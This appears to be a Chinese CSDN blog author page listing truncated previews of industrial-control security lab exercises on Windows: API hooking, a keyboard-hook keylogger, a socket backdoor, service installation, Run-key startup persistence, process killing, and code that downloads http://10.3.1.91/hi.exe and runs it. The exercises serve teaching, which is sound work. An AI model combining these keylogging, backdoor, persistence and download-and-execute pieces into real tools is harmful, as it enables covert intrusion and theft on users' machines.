![](https://img-blog.csdnimg.cn/20201014180756926.png?x-oss-process=image/resize,m_fixed,h_64,w_64)
工控安全
Alsn86
这个作者很懒,什么都没留下…
展开
-
工控安全系统对抗之HOOK技术
一、 实验要求 分别采用IAT Hook和inline Hook技术对系统函数Hook 利用IAT Hook来挂钩user32.dll中的GetTopWindow函数,实现调用GetTopWindow会弹出提示框 利用Inline Hook技术实现对user32.dll中的MessageBoxA的Hook,实现弹框前,先Beep一声 提示: 考虑到inline Hook实现对新手较难,可以先使用mhook库或Detours库来实现 二、 源代码 #include "windows.h" typede原创 2020-10-20 09:05:26 · 444 阅读 · 1 评论 -
工控安全系统对抗之键盘钩子
一、 实验要求 编写键盘钩子程序,实现记录用户按键 编写键盘钩子dll,导出startHook, stopHook两个函数,并完成消息过滤处理函数 编写加载程序,实现启动时调用startHook,退出时调用stopHook 二、 源代码 #include “windows.h” #include “stdio.h” #define MYLIBAPI_DLL #include “dll.h” #pragma warning(disable:4996) HINSTANCE hDll; HHOOK hHoo原创 2020-10-12 15:24:20 · 295 阅读 · 0 评论 -
工控安全系统对抗之后门开发
#define _WINSOCK_DEPRECATED_NO_WARNINGS #include <WinSock2.h> #include <Windows.h> #pragma comment(lib,"ws2_32") int main() { WSADATA wsaData; SOCKET connSocket; struct sockaddr_in hax; WSAStartup(MAKEWORD(2, 2), &wsaData); connSoc原创 2020-10-06 09:18:19 · 539 阅读 · 0 评论 -
工控安全系统编程之编写和安装服务程序
#include "windows.h" #include "process.h" #include "strsafe.h" #define LOG_FILE_PATH TEXT("D:\\ServiceTest.txt") VOID WINAPI ServiceMain(DWORD dwArgc, LPTSTR* lpszArgv); VOID WINAPI ServiceHandler(DWORD fdwControl); UINT WINAPI ThreadTest(PVOID pD...原创 2020-09-29 09:36:13 · 343 阅读 · 0 评论 -
工控安全系统编程之注册表开机启动
一、 实验要求 熟悉注册表操作 使用注册表API,实现修改开机启动项,让d:\hi.exe开机启动 提示: HEKY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run 接口提示 RegCreateKeyEx RegSetValueEx RegCloseKey 二、主要源代码 #include <Windows.h> int WINAPI WinMain( __in HINSTANCE hInstance, __i原创 2020-09-29 08:49:15 · 241 阅读 · 0 评论 -
工控安全系统编程之基础网络编程
一、实验要求 实现进程管理器 能列出操作系统当前运行的进程 实现进程管理,如杀掉进程,输入进程名或进程ID,自动结束进程 不要求有界面,命令行窗口即可 二、源代码 #include "windows.h" #include "tlhelp32.h" #include "stdio.h" #include <iostream> using namespace std; BOOL killps(DWORD ProcessId) { HANDLE hProcess = OpenProcess(原创 2020-09-21 08:42:32 · 227 阅读 · 0 评论 -
工控安全系统编程之 WinInet系列函数实现下载
1.实验要求 使用其他函数完善实验1下载功能 使用WinInet系列函数实现下载 使用socket函数实现下载 备选: 3. 在驱动层自动发包,实现网络功能 4. 自定义协议栈,利用IOCTL向底层发包实现网络功能 2.源代码 版本1 老师的 #include <Windows.h> #include <WinInet.h> #pragma comment(lib, "wininet.lib") DWORD MyURLDownloadToFile(TCHAR szURL[],原创 2020-09-15 08:49:06 · 261 阅读 · 0 评论 -
工控安全系统编程之 下载并运行exe
工控安全系统编程之 下载并运行exe 一、实验要求 熟悉VC++编程环境 编程实现下载http://10.3.1.91/hi.exe到本地 ,并运行 二、源代码 #include <Windows.h> #include <UrlMon.h> #pragma comment(lib, "urlmon.lib") int main() { URLDownloadToFile(0, "http://10.3.1.91/hi.exe", "D:\\hi.exe", 0, 0);原创 2020-09-08 20:36:47 · 318 阅读 · 0 评论